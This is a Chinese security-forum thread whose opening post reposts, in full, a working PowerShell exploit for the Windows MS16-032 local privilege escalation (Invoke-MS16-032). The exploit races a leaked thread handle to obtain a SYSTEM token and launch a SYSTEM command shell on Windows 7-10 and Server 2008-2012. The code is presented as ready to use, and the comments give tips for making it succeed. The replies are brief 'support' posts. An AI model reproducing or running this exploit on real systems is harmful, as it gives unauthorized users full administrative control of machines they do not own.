请选择 进入手机版 | 继续访问电脑版
查看: 9885|回复: 2965

[Windows] Microsoft Windows 7-10 & Server 2008-2012本地提升(POC)

[复制链接]
  • TA的每日心情
    慵懒
    2016-12-16 13:17
  • 签到天数: 34 天

    [LV.5]常住居民I

    发表于 2016-4-22 22:42:41 | 显示全部楼层 |阅读模式
    本帖最后由 adminhs 于 2016-4-22 22:44 编辑

    [AppleScript] 纯文本查看 复制代码
    function Invoke-MS16-032 {
    <#
    .SYNOPSIS
        
        PowerShell implementation of MS16-032. The exploit targets all vulnerable
        operating systems that support PowerShell v2+. Credit for the discovery of
        the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
        
        Targets:
        
        * Win7-Win10 & 2k8-2k12 <== 32/64 bit!
        * Tested on x32 Win7, x64 Win8, x64 2k12R2
        
        Notes:
        
        * In order for the race condition to succeed the machine must have 2+ CPU
          cores. If testing in a VM just make sure to add a core if needed mkay.
        * The exploit is pretty reliable, however ~1/6 times it will say it succeeded
          but not spawn a shell. Not sure what the issue is but just re-run and profit!
        * Want to know more about MS16-032 ==>
          https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
    .DESCRIPTION
    	Author: Ruben Boonen (@FuzzySec)
    	Blog: http://www.fuzzysecurity.com/
    	License: BSD 3-Clause
    	Required Dependencies: PowerShell v2+
    	Optional Dependencies: None
    	E-DB Note: Source ~ https://twitter.com/FuzzySec/status/723254004042612736
        
    .EXAMPLE
    	C:\PS> Invoke-MS16-032
    #>
    	Add-Type -TypeDefinition @"
    	using System;
    	using System.Diagnostics;
    	using System.Runtime.InteropServices;
    	using System.Security.Principal;
    	
    	[StructLayout(LayoutKind.Sequential)]
    	public struct PROCESS_INFORMATION
    	{
    		public IntPtr hProcess;
    		public IntPtr hThread;
    		public int dwProcessId;
    		public int dwThreadId;
    	}
    	
    	[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
    	public struct STARTUPINFO
    	{
    		public Int32 cb;
    		public string lpReserved;
    		public string lpDesktop;
    		public string lpTitle;
    		public Int32 dwX;
    		public Int32 dwY;
    		public Int32 dwXSize;
    		public Int32 dwYSize;
    		public Int32 dwXCountChars;
    		public Int32 dwYCountChars;
    		public Int32 dwFillAttribute;
    		public Int32 dwFlags;
    		public Int16 wShowWindow;
    		public Int16 cbReserved2;
    		public IntPtr lpReserved2;
    		public IntPtr hStdInput;
    		public IntPtr hStdOutput;
    		public IntPtr hStdError;
    	}
    	
    	[StructLayout(LayoutKind.Sequential)]
    	public struct SQOS
    	{
    		public int Length;
    		public int ImpersonationLevel;
    		public int ContextTrackingMode;
    		public bool EffectiveOnly;
    	}
    	
    	public static class Advapi32
    	{
    		[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
    		public static extern bool CreateProcessWithLogonW(
    			String userName,
    			String domain,
    			String password,
    			int logonFlags,
    			String applicationName,
    			String commandLine,
    			int creationFlags,
    			int environment,
    			String currentDirectory,
    			ref  STARTUPINFO startupInfo,
    			out PROCESS_INFORMATION processInformation);
    			
    		[DllImport("advapi32.dll", SetLastError=true)]
    		public static extern bool SetThreadToken(
    			ref IntPtr Thread,
    			IntPtr Token);
    			
    		[DllImport("advapi32.dll", SetLastError=true)]
    		public static extern bool OpenThreadToken(
    			IntPtr ThreadHandle,
    			int DesiredAccess,
    			bool OpenAsSelf,
    			out IntPtr TokenHandle);
    			
    		[DllImport("advapi32.dll", SetLastError=true)]
    		public static extern bool OpenProcessToken(
    			IntPtr ProcessHandle, 
    			int DesiredAccess,
    			ref IntPtr TokenHandle);
    			
    		[DllImport("advapi32.dll", SetLastError=true)]
    		public extern static bool DuplicateToken(
    			IntPtr ExistingTokenHandle,
    			int SECURITY_IMPERSONATION_LEVEL,
    			ref IntPtr DuplicateTokenHandle);
    	}
    	
    	public static class Kernel32
    	{
    		[DllImport("kernel32.dll")]
    		public static extern uint GetLastError();
    	
    		[DllImport("kernel32.dll", SetLastError=true)]
    		public static extern IntPtr GetCurrentProcess();
    	
    		[DllImport("kernel32.dll", SetLastError=true)]
    		public static extern IntPtr GetCurrentThread();
    		
    		[DllImport("kernel32.dll", SetLastError=true)]
    		public static extern int GetThreadId(IntPtr hThread);
    		
    		[DllImport("kernel32.dll", SetLastError = true)]
    		public static extern int GetProcessIdOfThread(IntPtr handle);
    		
    		[DllImport("kernel32.dll",SetLastError=true)]
    		public static extern int SuspendThread(IntPtr hThread);
    		
    		[DllImport("kernel32.dll",SetLastError=true)]
    		public static extern int ResumeThread(IntPtr hThread);
    		
    		[DllImport("kernel32.dll", SetLastError=true)]
    		public static extern bool TerminateProcess(
    			IntPtr hProcess,
    			uint uExitCode);
    	
    		[DllImport("kernel32.dll", SetLastError=true)]
    		public static extern bool CloseHandle(IntPtr hObject);
    		
    		[DllImport("kernel32.dll", SetLastError=true)]
    		public static extern bool DuplicateHandle(
    			IntPtr hSourceProcessHandle,
    			IntPtr hSourceHandle,
    			IntPtr hTargetProcessHandle,
    			ref IntPtr lpTargetHandle,
    			int dwDesiredAccess,
    			bool bInheritHandle,
    			int dwOptions);
    	}
    	
    	public static class Ntdll
    	{
    		[DllImport("ntdll.dll", SetLastError=true)]
    		public static extern int NtImpersonateThread(
    			IntPtr ThreadHandle,
    			IntPtr ThreadToImpersonate,
    			ref SQOS SecurityQualityOfService);
    	}
    "@
    	
    	function Get-ThreadHandle {
    		# StartupInfo Struct
    		$StartupInfo = New-Object STARTUPINFO
    		$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
    		$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
    		$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
    		$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
    		$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
    		
    		# ProcessInfo Struct
    		$ProcessInfo = New-Object PROCESS_INFORMATION
    		
    		# CreateProcessWithLogonW --> lpCurrentDirectory
    		$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
    		
    		# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
    		$CallResult = [Advapi32]::CreateProcessWithLogonW(
    			"user", "domain", "pass",
    			0x00000002, "C:\Windows\System32\cmd.exe", "",
    			0x00000004, $null, $GetCurrentPath,
    			[ref]$StartupInfo, [ref]$ProcessInfo)
    		
    		# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
    		$lpTargetHandle = [IntPtr]::Zero
    		$CallResult = [Kernel32]::DuplicateHandle(
    			$ProcessInfo.hProcess, 0x4,
    			[Kernel32]::GetCurrentProcess(),
    			[ref]$lpTargetHandle, 0, $false,
    			0x00000002)
    		
    		# Clean up suspended process
    		$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
    		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
    		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
    		
    		$lpTargetHandle
    	}
    	
    	function Get-SystemToken {
    		echo "`n[?] Trying thread handle: $Thread"
    		echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
    	
    		$CallResult = [Kernel32]::SuspendThread($Thread)
    		if ($CallResult -ne 0) {
    			echo "[!] $Thread is a bad thread, moving on.."
    			Return
    		} echo "[+] Thread suspended"
    		
    		echo "[>] Wiping current impersonation token"
    		$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
    		if (!$CallResult) {
    			echo "[!] SetThreadToken failed, moving on.."
    			$CallResult = [Kernel32]::ResumeThread($Thread)
    			echo "[+] Thread resumed!"
    			Return
    		}
    		
    		echo "[>] Building SYSTEM impersonation token"
    		# SecurityQualityOfService struct
    		$SQOS = New-Object SQOS
    		$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
    		$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
    		# Undocumented API's, I like your style Microsoft ;)
    		$CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
    		if ($CallResult -ne 0) {
    			echo "[!] NtImpersonateThread failed, moving on.."
    			$CallResult = [Kernel32]::ResumeThread($Thread)
    			echo "[+] Thread resumed!"
    			Return
    		}
    	
    		$script:SysTokenHandle = [IntPtr]::Zero
    		# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
    		$CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
    		if (!$CallResult) {
    			echo "[!] OpenThreadToken failed, moving on.."
    			$CallResult = [Kernel32]::ResumeThread($Thread)
    			echo "[+] Thread resumed!"
    			Return
    		}
    		
    		echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
    		echo "[+] Resuming thread.."
    		$CallResult = [Kernel32]::ResumeThread($Thread)
    	}
    	
    	# main() <--- ;)
    	$ms16032 = @"
    	 __ __ ___ ___   ___     ___ ___ ___ 
    	|  V  |  _|_  | |  _|___|   |_  |_  |
    	|     |_  |_| |_| . |___| | |_  |  _|
    	|_|_|_|___|_____|___|   |___|___|___|
    	                                    
    	               [by b33f -> @FuzzySec]
    "@
    	
    	$ms16032
    	
    	# Check logical processor count, race condition requires 2+
    	echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
    	if ($([System.Environment]::ProcessorCount) -lt 2) {
    		echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
    		Return
    	}
    	
    	# Create array for Threads & TID's
    	$ThreadArray = @()
    	$TidArray = @()
    	
    	echo "[>] Duplicating CreateProcessWithLogonW handles.."
    	# Loop Get-ThreadHandle and collect thread handles with a valid TID
    	for ($i=0; $i -lt 500; $i++) {
    		$hThread = Get-ThreadHandle
    		$hThreadID = [Kernel32]::GetThreadId($hThread)
    		# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
    		if ($TidArray -notcontains $hThreadID) {
    			$TidArray += $hThreadID
    			if ($hThread -ne 0) {
    				$ThreadArray += $hThread # This is what we need!
    			}
    		}
    	}
    	
    	if ($($ThreadArray.length) -eq 0) {
    		echo "[!] No valid thread handles were captured, exiting!"
    		Return
    	} else {
    		echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
    		echo "`n[?] Thread handle list:"
    		$ThreadArray
    	}
    	
    	echo "`n[*] Sniffing out privileged impersonation token.."
    	foreach ($Thread in $ThreadArray){
    	
    		# Get handle to SYSTEM access token
    		Get-SystemToken
    		
    		echo "`n[*] Sniffing out SYSTEM shell.."
    		echo "`n[>] Duplicating SYSTEM token"
    		$hDuplicateTokenHandle = [IntPtr]::Zero
    		$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
    		
    		# Simple PS runspace definition
    		echo "[>] Starting token race"
    		$Runspace = [runspacefactory]::CreateRunspace()
    		$StartTokenRace = [powershell]::Create()
    		$StartTokenRace.runspace = $Runspace
    		$Runspace.Open()
    		[void]$StartTokenRace.AddScript({
    			Param ($Thread, $hDuplicateTokenHandle)
    			while ($true) {
    				$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
    			}
    		}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
    		$AscObj = $StartTokenRace.BeginInvoke()
    		
    		echo "[>] Starting process race"
    		# Adding a timeout (10 seconds) here to safeguard from edge-cases
    		$SafeGuard = [diagnostics.stopwatch]::StartNew()
    		while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
    		# StartupInfo Struct
    		$StartupInfo = New-Object STARTUPINFO
    		$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
    		
    		# ProcessInfo Struct
    		$ProcessInfo = New-Object PROCESS_INFORMATION
    		
    		# CreateProcessWithLogonW --> lpCurrentDirectory
    		$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
    		
    		# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
    		$CallResult = [Advapi32]::CreateProcessWithLogonW(
    			"user", "domain", "pass",
    			0x00000002, "C:\Windows\System32\cmd.exe", "",
    			0x00000004, $null, $GetCurrentPath,
    			[ref]$StartupInfo, [ref]$ProcessInfo)
    			
    		$hTokenHandle = [IntPtr]::Zero
    		$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
    		# If we can't open the process token it's a SYSTEM shell!
    		if (!$CallResult) {
    			echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
    			$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
    			$StartTokenRace.Stop()
    			$SafeGuard.Stop()
    			Return
    		}
    			
    		# Clean up suspended process
    		$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
    		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
    		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
    		}
    		
    		# Kill runspace & stopwatch if edge-case
    		$StartTokenRace.Stop()
    		$SafeGuard.Stop()
    	}
    }
    回复

    使用道具 举报

  • TA的每日心情
    开心
    2016-4-26 09:24
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2016-4-26 09:41:08 | 显示全部楼层
    支持下,看看了
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2016-7-4 00:00
  • 签到天数: 117 天

    [LV.6]常住居民II

    发表于 2016-4-26 16:11:10 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    难过
    2016-4-27 17:29
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2016-4-27 17:41:00 | 显示全部楼层
    支持一下,
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2015-6-21 22:12
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2016-4-30 14:32:10 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-4-30 18:11:14 | 显示全部楼层
    支持,看起来还是可以的
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-4-30 19:39:17 | 显示全部楼层
    支持,看起来还是可以的
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2016-3-4 11:35
  • 签到天数: 3 天

    [LV.2]偶尔看看I

    发表于 2016-4-30 20:15:41 | 显示全部楼层
    支持,看起来还是可以的
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-4-30 20:37:57 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-4-30 23:57:44 | 显示全部楼层
    支持,看起来还是可以的
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表